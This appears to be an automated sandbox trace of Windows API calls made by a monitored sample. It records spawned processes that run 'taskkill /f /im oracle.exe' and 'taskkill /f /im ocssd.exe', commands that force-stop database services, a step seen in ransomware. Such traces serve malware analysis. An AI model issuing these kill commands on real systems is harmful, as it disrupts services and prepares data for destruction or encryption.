	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0035.304] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0035.304] GetProcessHeap () returned 0x670000
	[0035.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x683570 | out: hHeap=0x670000) returned 1
	[0035.304] GetProcessHeap () returned 0x670000
	[0035.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xa) returned 0x67fee0
	[0035.304] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0035.306] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im oracle.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x34f210*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im oracle.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x34f25c | out: lpCommandLine="taskkill  /f /im oracle.exe ", lpProcessInformation=0x34f25c*(hProcess=0x78, hThread=0x74, dwProcessId=0xbec, dwThreadId=0xbf0)) returned 1
	[0035.311] CloseHandle (hObject=0x74) returned 1
	[0035.311] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0035.311] GetProcessHeap () returned 0x670000
	[0035.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x685ed0 | out: hHeap=0x670000) returned 1
	[0035.312] GetEnvironmentStringsW () returned 0x694a48*
	[0035.312] GetProcessHeap () returned 0x670000
	[0035.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb36) returned 0x684090
	[0035.312] FreeEnvironmentStringsW (penv=0x694a48) returned 1
	[0035.312] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0035.657] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x34f150 | out: lpExitCode=0x34f150*=0x80) returned 1
	[0035.657] CloseHandle (hObject=0x78) returned 1
	[0035.657] _vsnwprintf (in: _Buffer=0x34f298, _BufferCount=0x13, _Format="%08X", _ArgList=0x34f15c | out: _Buffer="00000080") returned 8
	[0035.657] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0035.657] GetProcessHeap () returned 0x670000
	[0035.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x684090 | out: hHeap=0x670000) returned 1
	[0035.657] GetEnvironmentStringsW () returned 0x684090*
	[0035.657] GetProcessHeap () returned 0x670000
	[0035.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb5c) returned 0x685ed0
	[0035.657] FreeEnvironmentStringsW (penv=0x684090) returned 1
	[0035.657] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0035.657] GetProcessHeap () returned 0x670000
	[0035.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x685ed0 | out: hHeap=0x670000) returned 1
	[0035.657] GetEnvironmentStringsW () returned 0x684090*
	[0035.657] GetProcessHeap () returned 0x670000
	[0035.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb5c) returned 0x685ed0
	[0035.657] FreeEnvironmentStringsW (penv=0x684090) returned 1
	[0035.657] GetProcessHeap () returned 0x670000
	[0035.658] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67fee0 | out: hHeap=0x670000) returned 1
	[0035.658] DeleteProcThreadAttributeList (in: lpAttributeList=0x34f1b4 | out: lpAttributeList=0x34f1b4) 
	[0035.658] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0035.658] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0035.658] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0035.658] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a3e41ac | out: lpMode=0x4a3e41ac) returned 0
	[0035.658] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0035.658] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a3e41b0 | out: lpMode=0x4a3e41b0) returned 0
	[0035.658] GetConsoleOutputCP () returned 0x1b5
	[0035.658] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3e4260 | out: lpCPInfo=0x4a3e4260) returned 1
	[0035.658] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0035.658] exit (_Code=128) 

Process:
	id = "15"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4bccd000"
	os_pid = "0xbec"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xbe4"
	cmd_line = "taskkill  /f /im oracle.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 130
	os_tid = 0xbf0


Thread:
	id = 131
	os_tid = 0xbf4


Thread:
	id = 132
	os_tid = 0xbf8


Thread:
	id = 133
	os_tid = 0xbfc


Thread:
	id = 134
	os_tid = 0x288


Process:
	id = "16"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4bdce000"
	os_pid = "0x2b0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im ocssd.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 135
	os_tid = 0x73c

	[0035.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36fac8 | out: lpSystemTimeAsFileTime=0x36fac8*(dwLowDateTime=0xfaf76980, dwHighDateTime=0x1d52dc4)) 
	[0035.735] GetCurrentProcessId () returned 0x2b0
	[0035.735] GetCurrentThreadId () returned 0x73c
	[0035.735] GetTickCount () returned 0x19339
	[0035.735] QueryPerformanceCounter (in: lpPerformanceCount=0x36fac0 | out: lpPerformanceCount=0x36fac0*=15604520984) returned 1
	[0035.736] GetModuleHandleA (lpModuleName=0x0) returned 0x4a4d0000
	[0035.736] __set_app_type (_Type=0x1) 
	[0035.736] __p__fmode () returned 0x74eb31f4
	[0035.736] __p__commode () returned 0x74eb31fc
	[0035.736] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4f21a6) returned 0x0
	[0035.737] __getmainargs (in: _Argc=0x4a4f4238, _Argv=0x4a4f4240, _Env=0x4a4f423c, _DoWildCard=0, _StartInfo=0x4a4f4140 | out: _Argc=0x4a4f4238, _Argv=0x4a4f4240, _Env=0x4a4f423c) returned 0
	[0035.737] GetCurrentThreadId () returned 0x73c
	[0035.737] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x73c) returned 0x60
	[0035.737] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0035.737] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0035.737] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0035.737] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0035.737] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x36fa58 | out: phkResult=0x36fa58*=0x0) returned 0x2
	[0035.738] VirtualQuery (in: lpAddress=0x36fa8f, lpBuffer=0x36fa28, dwLength=0x1c | out: lpBuffer=0x36fa28*(BaseAddress=0x36f000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0035.738] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x36fa28, dwLength=0x1c | out: lpBuffer=0x36fa28*(BaseAddress=0x270000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0035.738] VirtualQuery (in: lpAddress=0x271000, lpBuffer=0x36fa28, dwLength=0x1c | out: lpBuffer=0x36fa28*(BaseAddress=0x271000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0035.738] VirtualQuery (in: lpAddress=0x273000, lpBuffer=0x36fa28, dwLength=0x1c | out: lpBuffer=0x36fa28*(BaseAddress=0x273000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0035.738] VirtualQuery (in: lpAddress=0x370000, lpBuffer=0x36fa28, dwLength=0x1c | out: lpBuffer=0x36fa28*(BaseAddress=0x370000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0035.738] GetConsoleOutputCP () returned 0x1b5
	[0035.738] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4f4260 | out: lpCPInfo=0x4a4f4260) returned 1
	[0035.738] SetConsoleCtrlHandler (HandlerRoutine=0x4a4ee72a, Add=1) returned 1
	[0035.738] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0035.738] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0035.738] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0035.738] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a4f41ac | out: lpMode=0x4a4f41ac) returned 0
	[0035.739] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0035.739] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a4f41b0 | out: lpMode=0x4a4f41b0) returned 0
	[0035.739] GetEnvironmentStringsW () returned 0x402000*
	[0035.739] GetProcessHeap () returned 0x3f0000
	[0035.739] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaca) returned 0x402ad8
	[0035.739] FreeEnvironmentStringsW (penv=0x402000) returned 1
	[0035.739] GetProcessHeap () returned 0x3f0000
	[0035.739] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x400c38
	[0035.739] GetEnvironmentStringsW () returned 0x402000*
	[0035.739] GetProcessHeap () returned 0x3f0000
	[0035.739] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaca) returned 0x4035b0
	[0035.739] FreeEnvironmentStringsW (penv=0x402000) returned 1
	[0035.739] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36e9c8 | out: phkResult=0x36e9c8*=0x68) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x0, lpData=0x36e9d4*=0x0, lpcbData=0x36e9cc*=0x1000) returned 0x2
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x4, lpData=0x36e9d4*=0x1, lpcbData=0x36e9cc*=0x4) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x0, lpData=0x36e9d4*=0x1, lpcbData=0x36e9cc*=0x1000) returned 0x2
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x4, lpData=0x36e9d4*=0x0, lpcbData=0x36e9cc*=0x4) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x4, lpData=0x36e9d4*=0x40, lpcbData=0x36e9cc*=0x4) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x4, lpData=0x36e9d4*=0x40, lpcbData=0x36e9cc*=0x4) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x0, lpData=0x36e9d4*=0x40, lpcbData=0x36e9cc*=0x1000) returned 0x2
	[0035.740] RegCloseKey (hKey=0x68) returned 0x0
	[0035.740] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36e9c8 | out: phkResult=0x36e9c8*=0x68) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x0, lpData=0x36e9d4*=0x40, lpcbData=0x36e9cc*=0x1000) returned 0x2
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x4, lpData=0x36e9d4*=0x1, lpcbData=0x36e9cc*=0x4) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x0, lpData=0x36e9d4*=0x1, lpcbData=0x36e9cc*=0x1000) returned 0x2
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x4, lpData=0x36e9d4*=0x0, lpcbData=0x36e9cc*=0x4) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x4, lpData=0x36e9d4*=0x9, lpcbData=0x36e9cc*=0x4) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x4, lpData=0x36e9d4*=0x9, lpcbData=0x36e9cc*=0x4) returned 0x0
	[0035.740] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36e9d0, lpData=0x36e9d4, lpcbData=0x36e9cc*=0x1000 | out: lpType=0x36e9d0*=0x0, lpData=0x36e9d4*=0x9, lpcbData=0x36e9cc*=0x1000) returned 0x2
	[0035.740] RegCloseKey (hKey=0x68) returned 0x0
	[0035.741] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302c
	[0035.741] srand (_Seed=0x5d16302c) 
	[0035.741] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im ocssd.exe \""
	[0035.741] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im ocssd.exe \""
	[0035.741] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4f5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.741] GetProcessHeap () returned 0x3f0000
	[0035.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x402000
	[0035.741] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x402008, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0035.741] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a500640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0035.741] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a500640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.741] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a500640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0035.741] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0035.741] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0035.741] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0035.741] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0035.741] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0035.741] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0035.741] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0035.741] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0035.741] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0035.742] GetProcessHeap () returned 0x3f0000
	[0035.742] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x402ad8 | out: hHeap=0x3f0000) returned 1
	[0035.742] GetEnvironmentStringsW () returned 0x402218*
	[0035.742] GetProcessHeap () returned 0x3f0000
	[0035.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae2) returned 0x404b78
	[0035.742] FreeEnvironmentStringsW (penv=0x402218) returned 1
	[0035.742] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a500640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0035.742] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a500640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0035.742] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0035.742] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0035.742] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0035.742] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0035.742] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0035.742] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0035.742] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0035.742] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0035.742] GetProcessHeap () returned 0x3f0000
	[0035.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x405668
	[0035.742] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x36f794 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x36f794, lpFilePart=0x36f790 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x36f790*="Desktop") returned 0x25
	[0035.742] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0035.742] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x36f510 | out: lpFindFileData=0x36f510*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x401e80
	[0035.743] FindClose (in: hFindFile=0x401e80 | out: hFindFile=0x401e80) returned 1
	[0035.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x36f510 | out: lpFindFileData=0x36f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x401e80
	[0035.743] FindClose (in: hFindFile=0x401e80 | out: hFindFile=0x401e80) returned 1
	[0035.743] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0035.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x36f510 | out: lpFindFileData=0x36f510*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x401e80
	[0035.743] FindClose (in: hFindFile=0x401e80 | out: hFindFile=0x401e80) returned 1
	[0035.743] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0035.743] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0035.743] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0035.743] GetProcessHeap () returned 0x3f0000
	[0035.743] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404b78 | out: hHeap=0x3f0000) returned 1
	[0035.743] GetEnvironmentStringsW () returned 0x404088*
	[0035.743] GetProcessHeap () returned 0x3f0000
	[0035.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb36) returned 0x405ec8
	[0035.744] FreeEnvironmentStringsW (penv=0x404088) returned 1
	[0035.744] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4f5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.744] GetProcessHeap () returned 0x3f0000
	[0035.744] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405668 | out: hHeap=0x3f0000) returned 1
	[0035.744] GetProcessHeap () returned 0x3f0000
	[0035.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400e) returned 0x406a08
	[0035.744] GetProcessHeap () returned 0x3f0000
	[0035.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x401e80
	[0035.744] GetProcessHeap () returned 0x3f0000
	[0035.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4008) returned 0x40aa20
	[0035.745] GetProcessHeap () returned 0x3f0000
